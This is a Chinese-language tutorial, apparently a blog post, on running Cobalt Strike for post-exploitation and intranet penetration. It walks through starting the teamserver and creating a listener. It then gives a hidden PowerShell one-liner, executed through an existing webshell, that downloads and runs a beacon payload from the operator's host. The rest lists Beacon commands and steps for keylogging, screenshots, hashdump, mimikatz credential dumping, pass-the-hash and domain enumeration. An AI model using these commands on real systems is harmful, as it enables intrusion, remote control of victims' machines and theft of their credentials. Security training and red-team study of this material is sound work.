Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器,是域渗透,内网渗透,内网漫游,后渗透手段利器,但前提是获得一台主机的shell。早期版本CobaltSrtike依赖Metasploit框架,而现在Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端(Client)与服务端(Teamserver),服务端是一个,客户端可以有多个,团队可进行分布式协团操作
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
网络攻击链模型
备注:Cobalt Strike需要Oracle Java 1.8,Oracle Java 11或OpenJDK 11的环境
查看是否有java环境
java -version
一般kail中有这个环境,无需安装,如果没有,使用以下命令
apt install openjdk-11-jdk
进入Cobalt Strike目录中
一般Cobalt Strike目录结构如下:
agscript 拓展应用的脚本
c2lint 用于检查profile的错误异常
teamserver 服务端程序
cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
license.pdf 许可证文件
logs 目录记录与目标主机的相关信息
update,update.jar用于更新CS
third-party 第三方工具
启动服务器
默认没有执行权限,需要加个权限
chmod +x teamserver
运行
./teamserver 192.168.1.135 123456
./teamserver <你的ip> <密码>
启动客户端
Linux运行
./start.sh
Windows运行start.bat
之后输入你服务端的ip以及刚才的密码,账号随便输入,界面如图:
beacon就是’'信标",“灯塔”, 获取第一个上线主机
监听"信标",等待"信标"回连,向"信标"传送指令
Cobalt Strike/Listerners/add #都是客户端中的按钮
点击add后如图,一般选择payload为HTTP,端口改一下,Name名字自己取,点击save
生成木马,可以是文件或者命令
Attacks/web Drive-by/Scripted Web Delivery #都是客户端中的按钮
此时连接最初拿到的shell,用蚁剑终端执行
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.135:80/b'))"
此时如图显示,表示看到已上线
interact 进入命令模式
Note 标注
Exit 退出
Remove 移除
sleep 心跳时间
Beacon Commands
===============
Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covert 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu 在另一个PID下执行程序
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
getuid
建议在图形化界面操作
beacon/右键/Explore/File Browser
beacon/右键/Explore/Process List
beacon/右键/Explore/Screenshots
查看截图
View/Screenshots
beacon/右键/Explore/Desktop(VNC)
beacon/右键/Explore/Process List/Log Keystrokes
查看记录
View/Keystrokes
beacon/右键/Explore/Port Scan
查看主机信息
view/Targets
net computer #列出域内主机
net dclist #列出所有域控服务器
net domain #列出域名
net domain_controllers #列出域控服务器
net domain_trusts #列出可信任主机
net localgroup #列出本地组
net sessions #列出会话
net logons #查看域中已登录账号
net share #查看域内共享
net time #查看时间
net user #查看用户
net view
hashdump
(需要system权限)
logonpasswords
psexec SMB服务